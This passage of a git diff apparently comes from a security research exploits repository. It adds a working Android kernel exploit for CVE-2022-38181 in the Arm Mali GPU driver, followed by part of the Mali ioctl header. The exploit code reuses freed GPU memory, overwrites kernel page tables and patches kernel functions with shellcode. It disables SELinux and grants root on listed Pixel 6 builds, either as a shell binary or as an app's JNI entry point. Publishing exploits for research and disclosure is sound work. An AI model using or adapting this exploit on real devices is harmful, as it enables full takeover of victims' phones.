curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + } + usleep(300000); + } + } + } +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} + +void select_offset() { + char fingerprint[256]; + int len = __system_property_get("ro.build.fingerprint", fingerprint); + LOG("fingerprint: %s\n", fingerprint); + if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) { + avc_deny = AVC_DENY_2108; + sel_read_enforce = SEL_READ_ENFORCE_2108; + fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) { + avc_deny = AVC_DENY_2201; + sel_read_enforce = SEL_READ_ENFORCE_2201; + fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) { + avc_deny = AVC_DENY_2202; + sel_read_enforce = SEL_READ_ENFORCE_2202; + fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ3A.220705.003/8671607:user/release-keys")) { + avc_deny = AVC_DENY_2207; + sel_read_enforce = SEL_READ_ENFORCE_2207; + fixup_root_shell(INIT_CRED_2207, COMMIT_CREDS_2207, SEL_READ_ENFORCE_2207, ADD_INIT_2207, ADD_COMMIT_2207); + return; + } + + err(1, "unable to match build id\n"); +} + +void cleanup(int mali_fd, uint64_t pgd) { + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +} + +void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t)); + + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +} + +void spray(int mali_fd) { + uint64_t cookies[32] = {0}; + for (int j = 0; j < 32; j++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22); + alloc.in.va_pages = SPRAY_PAGES; + alloc.in.commit_pages = 0; + mem_alloc(mali_fd, &alloc); + cookies[j] = alloc.out.gpu_va; + } + for (int j = 0; j < 32; j++) { + void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j]); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + gpu_va[j] = (uint64_t)region; + } + for (int j = 32; j < 64; j++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22); + alloc.in.va_pages = SPRAY_PAGES; + alloc.in.commit_pages = 0; + mem_alloc(mali_fd, &alloc); + cookies[j - 32] = alloc.out.gpu_va; + } + for (int j = 32; j < 64; j++) { + void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j - 32]); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + gpu_va[j] = (uint64_t)region; + } +} + +int trigger(int mali_fd, int mali_fd2, int* flush_idx) { + if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) { + err(1, "Out of memory."); + } + void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0); + + uint64_t jit_pages = SPRAY_PAGES; + uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr); + atom_number++; + mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0); + for (int i = 0; i < NUM_TRIALS; i++) { + union kbase_ioctl_mem_query query = {0}; + query.in.gpu_addr = jit_addr; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + flush_regions[i] = flush(SPRAY_CPU, i + *flush_idx); + if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) { + migrate_to_cpu(SPRAY_CPU); + spray(mali_fd); + for (int j = 0; j < SPRAY_NUM; j++) { + mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES); + } + LOG("region freed %d\n", i); + + uint64_t alias_region = alias_sprayed_regions(mali_fd); + fault_pages(); + LOG("cleanup flush region\n"); + for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE); + + uint64_t drain = drain_mem_pool(mali_fd); + release_mem_pool(mali_fd, drain); + + jit_free(mali_fd, atom_number, jit_id); + + map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + LOG("jit_freed\n"); + int freed_idx = find_freed_idx(mali_fd); + if (freed_idx == -1) err(1, "Failed to find freed_idx"); + LOG("Found freed_idx %d\n", freed_idx); + int pgd_idx = find_pgd(freed_idx, 0); + if (pgd_idx == -1) err(1, "Failed to find pgd"); + uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); + LOG("Found pgd %d, %lx\n", pgd_idx, pgd); + atom_number++; + write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); + run_enforce(); + cleanup(mali_fd, pgd); + return 0; + } + } + LOG("failed, retry.\n"); + jit_id++; + *flush_idx += NUM_TRIALS; + return -1; +} + +#ifdef SHELL + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + select_offset(); + int mali_fd = open_dev(MALI); + + setup_mali(mali_fd, 0); + + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, 0x1000, 100, 0); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + int flush_idx = 0; + for (int i = 0; i < 10; i++) { + if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + system("sh"); + break; + } + } +} +#else +#include +JNIEXPORT int JNICALL +Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz) +{ + setbuf(stdout, NULL); + setbuf(stderr, NULL); + sleep(10); + + select_offset(); + int mali_fd = open_dev(MALI); + + setup_mali(mali_fd, 0); + + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, 0x1000, 100, 0); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + int flush_idx = 0; + for (int i = 0; i < 10; i++) { + if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + LOG("uid: %d euid %d", getuid(), geteuid()); + return 0; + } + } + return -1; +} +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h b/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h new file mode 100644 index 0000000..3b61e20 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h @@ -0,0 +1,1060 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_JM_IOCTL_H_ +#define _UAPI_KBASE_JM_IOCTL_H_ + +#include +#include + +/* + * 11.1: + * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags + * 11.2: + * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED, + * which some user-side clients prior to 11.2 might fault if they received + * them + * 11.3: + * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and + * KBASE_IOCTL_STICKY_RESOURCE_UNMAP + * 11.4: + * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET + * 11.5: + * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD) + * 11.6: + * - Added flags field to base_jit_alloc_info structure, which can be used to + * specify pseudo chunked tiler alignment for JIT allocations. + * 11.7: + * - Removed UMP support + * 11.8: + * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags + * 11.9: + * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY + * under base_mem_alloc_flags + * 11.10: + * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for + * JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations + * with one softjob. + * 11.11: + * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags + * 11.12: + * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS + * 11.13: + * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT + * 11.14: + * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set + * under base_mem_alloc_flags + * 11.15: + * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags. + * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be + * passed to mmap(). + * 11.16: + * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf. + * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for + * dma-buf. Now, buffers are mapped on GPU when first imported, no longer + * requiring external resource or sticky resource tracking. UNLESS, + * CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled. + * 11.17: + * - Added BASE_JD_REQ_JOB_SLOT. + * - Reused padding field in base_jd_atom_v2 to pass job slot number. + * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO + * 11.18: + * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags + * 11.19: + * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified. + * 11.20: + * - Added new phys_pages member to kbase_ioctl_mem_jit_init for + * KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2 + * (replacing '_OLD') and _11_5 suffixes + * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in + * base_jd_atom_v2. It must currently be initialized to zero. + * - Added heap_info_gpu_addr to base_jit_alloc_info, and + * BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's + * flags member. Previous variants of this structure are kept and given _10_2 + * and _11_5 suffixes. + * - The above changes are checked for safe values in usual builds + * 11.21: + * - v2.0 of mali_trace debugfs file, which now versions the file separately + * 11.22: + * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2. + * KBASE_IOCTL_JOB_SUBMIT supports both in parallel. + * 11.23: + * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify + * the physical memory backing of JIT allocations. This was not supposed + * to be a valid use case, but it was allowed by the previous implementation. + * 11.24: + * - Added a sysfs file 'serialize_jobs' inside a new sub-directory + * 'scheduling'. + * 11.25: + * - Enabled JIT pressure limit in base/kbase by default + * 11.26 + * - Added kinstr_jm API + * 11.27 + * - Backwards compatible extension to HWC ioctl. + * 11.28: + * - Added kernel side cache ops needed hint + * 11.29: + * - Reserve ioctl 52 + * 11.30: + * - Add a new priority level BASE_JD_PRIO_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 11.31: + * - Added BASE_JD_REQ_LIMITED_CORE_MASK. + * - Added ioctl 55: set_limited_core_count. + */ +#define BASE_UK_VERSION_MAJOR 11 +#define BASE_UK_VERSION_MINOR 31 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + + +/** + * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel + * + * @addr: Memory address of an array of struct base_jd_atom_v2 or v3 + * @nr_atoms: Number of entries in the array + * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom) + */ +struct kbase_ioctl_job_submit { + __u64 addr; + __u32 nr_atoms; + __u32 stride; +}; + +#define KBASE_IOCTL_JOB_SUBMIT \ + _IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit) + +#define KBASE_IOCTL_POST_TERM \ + _IO(KBASE_IOCTL_TYPE, 4) + +/** + * struct kbase_ioctl_soft_event_update - Update the status of a soft-event + * @event: GPU address of the event which has been updated + * @new_status: The new status to set + * @flags: Flags for future expansion + */ +struct kbase_ioctl_soft_event_update { + __u64 event; + __u32 new_status; + __u32 flags; +}; + +#define KBASE_IOCTL_SOFT_EVENT_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update) + +/** + * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for + * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the + * kernel + * + * @size: The size of the `struct kbase_kinstr_jm_atom_state_change` + * @version: Represents a breaking change in the + * `struct kbase_kinstr_jm_atom_state_change` + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + * + * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the + * end of the structure that older user space might not understand. If the + * `version` is the same, the structure is still compatible with newer kernels. + * The `size` can be used to cast the opaque memory returned from the kernel. + */ +struct kbase_kinstr_jm_fd_out { + __u16 size; + __u8 version; + __u8 padding[5]; +}; + +/** + * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor + * + * @count: Number of atom states that can be stored in the kernel circular + * buffer. Must be a power of two + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + */ +struct kbase_kinstr_jm_fd_in { + __u16 count; + __u8 padding[6]; +}; + +union kbase_kinstr_jm_fd { + struct kbase_kinstr_jm_fd_in in; + struct kbase_kinstr_jm_fd_out out; +}; + +#define KBASE_IOCTL_KINSTR_JM_FD \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd) + + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection + * @dump_buffer: GPU address to write counters to + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + */ +struct kbase_ioctl_hwcnt_enable { + __u64 dump_buffer; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_ENABLE \ + _IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable) + +#define KBASE_IOCTL_HWCNT_DUMP \ + _IO(KBASE_IOCTL_TYPE, 10) + +#define KBASE_IOCTL_HWCNT_CLEAR \ + _IO(KBASE_IOCTL_TYPE, 11) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +enum base_mem_import_type { + BASE_MEM_IMPORT_TYPE_INVALID = 0, + /* + * Import type with value 1 is deprecated. + */ + BASE_MEM_IMPORT_TYPE_UMM = 2, + BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3 +}; + +/** + * struct base_mem_import_user_buffer - Handle of an imported user buffer + * + * @ptr: address of imported user buffer + * @length: length of imported user buffer in bytes + * + * This structure is used to represent a handle of an imported user buffer. + */ + +struct base_mem_import_user_buffer { + __u64 ptr; + __u64 length; +}; + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct 